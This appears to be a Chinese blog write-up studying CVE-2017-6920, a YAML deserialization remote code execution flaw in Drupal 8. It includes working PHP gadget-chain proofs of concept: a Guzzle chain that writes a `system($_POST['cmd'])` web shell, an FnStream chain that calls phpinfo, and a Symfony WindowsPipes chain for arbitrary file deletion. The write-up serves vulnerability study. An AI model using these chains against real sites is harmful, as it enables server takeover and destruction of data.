1.背景介绍:

CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

Drupal介绍:Drupal 是一个由Dries Buytaert创立的自由开源的内容管理系统,用PHP语言写成。在业界Drupal常被视为内容管理框架(CMF),而非一般意义上的内容管理系统(CMS)。Drupal目录:/vendor – Drupal Core所依赖的后端库/profile – 贡献和自定义配置文件/libraries – 第三方库
/core /lib – Drupal核心类/core /assets – Core使用的各种外部库/core /misc – Drupal Core所依赖的前端代码/core /includes – 低级别为模块化的功能。比如模块系统本身/core /modules – Drupal核心模块/core /profiles – Drupal Core安装配置文件

YAML 介绍:YAML是“YAML不是一种标记语言”的外语缩写,但为了强调这种语言以数据做为中心,而不是以置标语言为重点,而用返璞词重新命名。它是一种直观的能够被电脑识别的数据序列化格式,是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。它是类似于标准通用标记语言的子集XML的数据描述语言,语法比XML简单很多。

2.修复方法:

static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
} 

因为通过设置Init_set(),将限制yaml的decode函数的功能,从而防止反序列化php的对象类型序列化数据

3.漏洞分析:

在yaml.php中存在以下decode函数的调用

所以需要在yaml类所在的文件中找decode函数,此decode函数中调用了静态方法getSerializer()函数

此方法说明此时应用会判断用什么类来解析yaml数据,如果存在yaml扩展,就调用yamlpecl来处理,否则就使用yamlsymfony类来处理,此时要寻找的漏洞点

需要满足调用了yaml类的decode函数并且传给decode函数的入口参数必须是我们可以控制的,所以需要去找这样的函数

在core/modules/config/src/Form/ConfigSingleImportForm.php中存在decode函数的调用

这里调用了$form_stare的getValue()方法,这里要求我们必须熟悉drupal这个框架,知识储备:

在处理表单时,有3个变量非常重要。第一个就是$form_id,它包含了一个标识表单的字符串。第二个就是$form,它是一个描述表单的结构化数组。第三个就是$form_state,它包含了表单的相关信息,比如表单的值以及当表单处理完成时应该发生什么。drupal_get_form()在开始时,首先会初始化$form_state。

说明$form_state变量将会存储我们在表单中提交的值,那么getValue是干啥的,我们继续跟进一下,在FormStateInterface.php中声明了getvalue函数的定义,具体的方法体在FormStateInterface.php中

此文件继承了FormStateInterface接口,并且使用了FormStateValuesTrait,此时又需要了解需要学trait

Trait 是为类似PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method。

在FormStateValuesTrait.php中实现了getvalue()函数的方法体,在getvalue()函数中,将会调用NestedArray的getvalue函数,将会把我们之前"import"键所对应的值返回,即此时yaml::decode就接收到我们传递过去的payload了

4.本地测试:

首先在其composer.json中寻找其加载了哪些代码库

1.存在guzzlehttp,因此可以利用其进行任意写文件,Guzzlehttp/guzzle代码库所存在的file_put_contents()

<?phprequire __DIR__.'/vendor/autoload.php';use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;$tr1ple = new FileCookieJar('/tmp/shell.txt');
$payload = '<?php echo system($_POST[\'cmd\']); ?>';
$data=array('Name' => "tr1ple",'Value' => "Arybin",'Domain' => $payload,'Expires' => time()
);
$tr1ple->setCookie(new SetCookie($data));
file_put_contents('./exp',addslashes(serialize($tr1ple)));

导出到文件因为直接写出来会有不可见字符, 写在tmp目录是因为所使用的docker环境,写入文件到www下权限不对,序列化后的数据必须对其中的引号进行转义

结果:

注意:payload前面需要加上yaml的!php/object tag(注意一定要转义),并且因为$data字段有Expire键,因此payload过一段时间将会失效,所以再次利用时需要重新生成payload

Expires:Cookie 过期的时间。这是个 Unix 时间戳,即从 Unix 纪元开始的秒数。  
换而言之,通常用 time() 函数再加上秒数来设定 cookie 的失效期。

2.利用Guzzlehttp/psr中的FnStream

如上图所示,在析构函数中,将会调用call_user_func()函数

call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

而此时call_user_func()的入口参数只有一个,那么我们此时只能调用无参函数来测试,我们看一下其构造方法,入口参数为数组,并且将会遍历数组,将数组的键名前添加“_fn_”前缀,因为我们需要传递array("close"=>"phpinfo")作为入口参数

-

poc如下:

<?php
require __DIR__."/vendor/autoload.php";use GuzzleHttp\Psr7\FnStream;$payload = array(
"close" => "phpinfo"
);
$tr1ple = new FnStream($payload);file_put_contents("exp1",addslashes(serialize($tr1ple)));

结果:

3.利用/vendor/symfony/process/Pipes/WindowsPipes.php中的unlink导致任意删除

在其89行的析构函数中,存在removeFiles()函数,我们跟进一下

在196行中我们可以看到这个函数将会遍历$files变量,取出文件名,然后将文件删除,而files变量是类的私有成员变量

poc为:

这个poc并没有用到use,因为我们不需要导入windowspipes这个类,我们只需要在实例化这个类后给其私有变量赋值即可,也就是不存在给其构造函数传递参数

<?php
namespace Symfony\Component\Process\Pipes;
class WindowsPipes{
private $files = array('/tmp/tr1ple.txt');
}
$tr1ple = new WindowsPipes();
file_put_contents("exp3",addslashes(serialize($tr1ple)));

reference:

1.https://paper.seebug.org/334/

感想:

  第一次尝试着去针对CVE去熟悉一个cms框架,这种学习的方法的确让人短时间了解了很多我之前都不会的知识,从接受恶意输入,到触发漏洞函数整个流程,非常可惜的一点是由于测试使用的是docker上的环境,

我想使用断点调试,但是调试docker里面的php配置起来太麻烦了,并且网上的方法不适用与目前的环境,还是自己对docker的使用不够熟悉,折腾了半天还是没能搭建成调试环境。但是也体会到开发中常用的开发技巧,

以及想要挖掘漏洞,除了需要掌握安全知识,也需要掌握一定的开发知识。

转载于:https://www.cnblogs.com/wfzWebSecuity/p/10480736.html

代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习相关推荐

  1. log4j2远程代码执行漏洞学习总结

    log4j2远程代码执行漏洞学习总结 背景 近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI ...

  2. Drupal远程代码执行漏洞(CVE-2018-7600)

    目录 一. 漏洞原理 二. 影响版本 三. 漏洞环境搭建 四. 漏洞复现 一. 漏洞原理 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等 ...

  3. 绿盟科技网络安全威胁周报2017.17 请关注Squirrelmail 远程代码执行漏洞CVE-2017-7692...

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-17,绿盟科技漏洞库本周新增84条,其中高危40条.本次周报建议大家关注 Squirrelmail 远程代码执行漏洞 .SquirrelMai ...

  4. drupal cve-2018-7600 远程代码执行漏洞 简介

    漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...

  5. Drupal 修复远程代码执行漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 周三,Drupal 内容管理系统 (CMS) 发布更新,修复了和不正确清理所上传文件名称有关的一个远程代码执行漏洞 (CVE-2020 ...

  6. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  7. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  8. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  9. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

最新文章

  1. TeX 家族(TeX, pdfTeX, XeTeX, LuaTeX, LaTeX, pdfLaTeX, XeLaTeX …)
  2. 当一个变量只能通过引用传递的时候。
  3. 河北光电机顶盒安装当贝桌面
  4. 支持Android 11安卓Flash播放器终极版源码方案2022(2:网页中嵌入)
  5. html5课件动画制作,ppt如何制作课件动画
  6. ping一下网站服务器的域名,怎么PING一个网站的域名
  7. [ CSS-CSS3 ] 更适合你的CSS样式一览表
  8. 【并发编程】Cond 基本用法和如何实现以及常见错误
  9. Scala中特质的使用以及特质冲突
  10. 四、文件管理(三)文件系统
  11. 【转载】自然语言处理(NLP)的历史、发展、成果和难题,以及在教育领域的应用情况
  12. 在PC上通过手机发送短消息
  13. Android程序员现状:没有架构师的命,却得了架构师的病!
  14. 简便计算机在线使用,计算器上的各个按键使用详解
  15. HAC集群修改管理员用户密码
  16. SOA构建电子政务平台 可用多种通信手段访问
  17. 举头望明月打计算机术语,2016年猴年中秋灯谜大全
  18. 雷蛇键盘灯光配置文件_雷蛇这款光轴机械键盘开箱评测,光速触发,颜值爆表...
  19. Oculus Rift, HTC Vive, SONY PSVR的全面对比
  20. WordPress自定义设置管理员和用户头像以及批量设置评论者头像

热门文章

  1. 在WPF中最大化窗口并将WindowState设置为None的任务栏
  2. 编程语言之问:何时该借用,何时该创造?
  3. php多个逻辑如何分为多个逻辑块,php 项目如何分层
  4. 矩阵论与计算机英语论文,矩阵论翻译论文[8页].pdf
  5. 将angular转化为手机app_手机照片快速转化为PBR材质流程
  6. 我的世界手机版javaui材质包_传奇世界中变版手机版下载-传奇世界中变版手机版最新下载...
  7. 怎么看台式计算机是几位的,怎么看电脑是32位还是64位?一目了然
  8. 基于php程序系统设计,PHP程序静态分析系统的设计与实现
  9. 省市区 / 三级联动
  10. 构建新模式java_Nacos 1.3.0 来了,基于全新内核构建!